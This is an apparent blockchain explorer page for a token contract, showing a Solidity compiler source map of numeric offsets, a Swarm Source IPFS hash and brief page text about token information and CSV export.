1:-;-1:-1:-1;;;;;89:31:1;;79:42;;69:70;;135:1;132;125:12;150:247;209:6;262:2;250:9;241:7;237:23;233:32;230:52;;;278:1;275;268:12;230:52;317:9;304:23;336:31;361:5;336:31;:::i;:::-;386:5;150:247;-1:-1:-1;;;150:247:1:o;402:548::-;514:4;543:2;572;561:9;554:21;604:6;598:13;647:6;642:2;631:9;627:18;620:34;672:1;682:140;696:6;693:1;690:13;682:140;;;791:14;;;787:23;;781:30;757:17;;;776:2;753:26;746:66;711:10;;682:140;;;686:3;871:1;866:2;857:6;846:9;842:22;838:31;831:42;941:2;934;930:7;925:2;917:6;913:15;909:29;898:9;894:45;890:54;882:62;;;;402:548;;;;:::o;955:315::-;1023:6;1031;1084:2;1072:9;1063:7;1059:23;1055:32;1052:52;;;1100:1;1097;1090:12;1052:52;1139:9;1126:23;1158:31;1183:5;1158:31;:::i;:::-;1208:5;1260:2;1245:18;;;;1232:32;;-1:-1:-1;;;955:315:1:o;1649:757::-;1753:6;1761;1769;1777;1830:2;1818:9;1809:7;1805:23;1801:32;1798:52;;;1846:1;1843;1836:12;1798:52;1886:9;1873:23;1915:18;1956:2;1948:6;1945:14;1942:34;;;1972:1;1969;1962:12;1942:34;2010:6;1999:9;1995:22;1985:32;;2055:7;2048:4;2044:2;2040:13;2036:27;2026:55;;2077:1;2074;2067:12;2026:55;2117:2;2104:16;2143:2;2135:6;2132:14;2129:34;;;2159:1;2156;2149:12;2129:34;2214:7;2207:4;2197:6;2194:1;2190:14;2186:2;2182:23;2178:34;2175:47;2172:67;;;2235:1;2232;2225:12;2172:67;2266:4;2258:13;;;;2290:6;;-1:-1:-1;2328:20:1;;;2315:34;;2396:2;2381:18;2368:32;;-1:-1:-1;1649:757:1;;-1:-1:-1;;;;1649:757:1:o;2411:456::-;2488:6;2496;2504;2557:2;2545:9;2536:7;2532:23;2528:32;2525:52;;;2573:1;2570;2563:12;2525:52;2612:9;2599:23;2631:31;2656:5;2631:31;:::i;:::-;2681:5;-1:-1:-1;2738:2:1;2723:18;;2710:32;2751:33;2710:32;2751:33;:::i;:::-;2411:456;;2803:7;;-1:-1:-1;;;2857:2:1;2842:18;;;;2829:32;;2411:456::o;3061:180::-;3120:6;3173:2;3161:9;3152:7;3148:23;3144:32;3141:52;;;3189:1;3186;3179:12;3141:52;-1:-1:-1;3212:23:1;;3061:180;-1:-1:-1;3061:180:1:o;3454:388::-;3522:6;3530;3583:2;3571:9;3562:7;3558:23;3554:32;3551:52;;;3599:1;3596;3589:12;3551:52;3638:9;3625:23;3657:31;3682:5;3657:31;:::i;:::-;3707:5;-1:-1:-1;3764:2:1;3749:18;;3736:32;3777:33;3736:32;3777:33;:::i;:::-;3829:7;3819:17;;;3454:388;;;;;:::o;3847:380::-;3926:1;3922:12;;;;3969;;;3990:61;;4044:4;4036:6;4032:17;4022:27;;3990:61;4097:2;4089:6;4086:14;4066:18;4063:38;4060:161;;4143:10;4138:3;4134:20;4131:1;4124:31;4178:4;4175:1;4168:15;4206:4;4203:1;4196:15;4060:161;;3847:380;;;:::o;4232:127::-;4293:10;4288:3;4284:20;4281:1;4274:31;4324:4;4321:1;4314:15;4348:4;4345:1;4338:15;4364:127;4425:10;4420:3;4416:20;4413:1;4406:31;4456:4;4453:1;4446:15;4480:4;4477:1;4470:15;4496:217;4536:1;4562;4552:132;;4606:10;4601:3;4597:20;4594:1;4587:31;4641:4;4638:1;4631:15;4669:4;4666:1;4659:15;4552:132;-1:-1:-1;4698:9:1;;4496:217::o;4718:135::-;4757:3;4778:17;;;4775:43;;4798:18;;:::i;:::-;-1:-1:-1;4845:1:1;4834:13;;4718:135::o;4858:188::-;4937:13;;-1:-1:-1;;;;;4979:42:1;;4969:53;;4959:81;;5036:1;5033;5026:12;5051:450;5138:6;5146;5154;5207:2;5195:9;5186:7;5182:23;5178:32;5175:52;;;5223:1;5220;5213:12;5175:52;5246:40;5276:9;5246:40;:::i;:::-;5236:50;;5305:49;5350:2;5339:9;5335:18;5305:49;:::i;:::-;5295:59;;5397:2;5386:9;5382:18;5376:25;5441:10;5434:5;5430:22;5423:5;5420:33;5410:61;;5467:1;5464;5457:12;5410:61;5490:5;5480:15;;;5051:450;;;;;:::o;5506:251::-;5576:6;5629:2;5617:9;5608:7;5604:23;5600:32;5597:52;;;5645:1;5642;5635:12;5597:52;5677:9;5671:16;5696:31;5721:5;5696:31;:::i;5762:125::-;5827:9;;;5848:10;;;5845:36;;;5861:18;;:::i;7363:168::-;7436:9;;;7467;;7484:15;;;7478:22;;7464:37;7454:71;;7505:18;;:::i;7536:127::-;7597:10;7592:3;7588:20;7585:1;7578:31;7628:4;7625:1;7618:15;7652:4;7649:1;7642:15;7668:461;7721:3;7759:5;7753:12;7786:6;7781:3;7774:19;7812:4;7841:2;7836:3;7832:12;7825:19;;7878:2;7871:5;7867:14;7899:1;7909:195;7923:6;7920:1;7917:13;7909:195;;;7988:13;;-1:-1:-1;;;;;7984:39:1;7972:52;;8044:12;;;;8079:15;;;;8020:1;7938:9;7909:195;;;-1:-1:-1;8120:3:1;;7668:461;-1:-1:-1;;;;;7668:461:1:o;8134:332::-;8341:6;8330:9;8323:25;8384:2;8379;8368:9;8364:18;8357:30;8304:4;8404:56;8456:2;8445:9;8441:18;8433:6;8404:56;:::i;:::-;8396:64;8134:332;-1:-1:-1;;;;8134:332:1:o;8471:1105::-;8566:6;8597:2;8640;8628:9;8619:7;8615:23;8611:32;8608:52;;;8656:1;8653;8646:12;8608:52;8689:9;8683:16;8718:18;8759:2;8751:6;8748:14;8745:34;;;8775:1;8772;8765:12;8745:34;8813:6;8802:9;8798:22;8788:32;;8858:7;8851:4;8847:2;8843:13;8839:27;8829:55;;8880:1;8877;8870:12;8829:55;8909:2;8903:9;8931:2;8927;8924:10;8921:36;;;8937:18;;:::i;:::-;8983:2;8980:1;8976:10;9015:2;9009:9;9078:2;9074:7;9069:2;9065;9061:11;9057:25;9049:6;9045:38;9133:6;9121:10;9118:22;9113:2;9101:10;9098:18;9095:46;9092:72;;;9144:18;;:::i;:::-;9180:2;9173:22;9230:18;;;9264:15;;;;-1:-1:-1;9306:11:1;;;9302:20;;;9334:19;;;9331:39;;;9366:1;9363;9356:12;9331:39;9390:11;;;;9410:135;9426:6;9421:3;9418:15;9410:135;;;9492:10;;9480:23;;9443:12;;;;9523;;;;9410:135;;;9564:6;8471:1105;-1:-1:-1;;;;;;;;8471:1105:1:o;9581:574::-;9872:6;9861:9;9854:25;9915:6;9910:2;9899:9;9895:18;9888:34;9958:3;9953:2;9942:9;9938:18;9931:31;9835:4;9979:57;10031:3;10020:9;10016:19;10008:6;9979:57;:::i;:::-;-1:-1:-1;;;;;10072:32:1;;;;10067:2;10052:18;;10045:60;-1:-1:-1;10136:3:1;10121:19;10114:35;9971:65;9581:574;-1:-1:-1;;;9581:574:1:o;14394:277::-;14461:6;14514:2;14502:9;14493:7;14489:23;14485:32;14482:52;;;14530:1;14527;14520:12;14482:52;14562:9;14556:16;14615:5;14608:13;14601:21;14594:5;14591:32;14581:60;;14637:1;14634;14627:12

Swarm Source

ipfs://7fd0dc3aa5601452410992fdc3c13e32a0ddaae2b972bd1c8d7015748c4dff7f
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.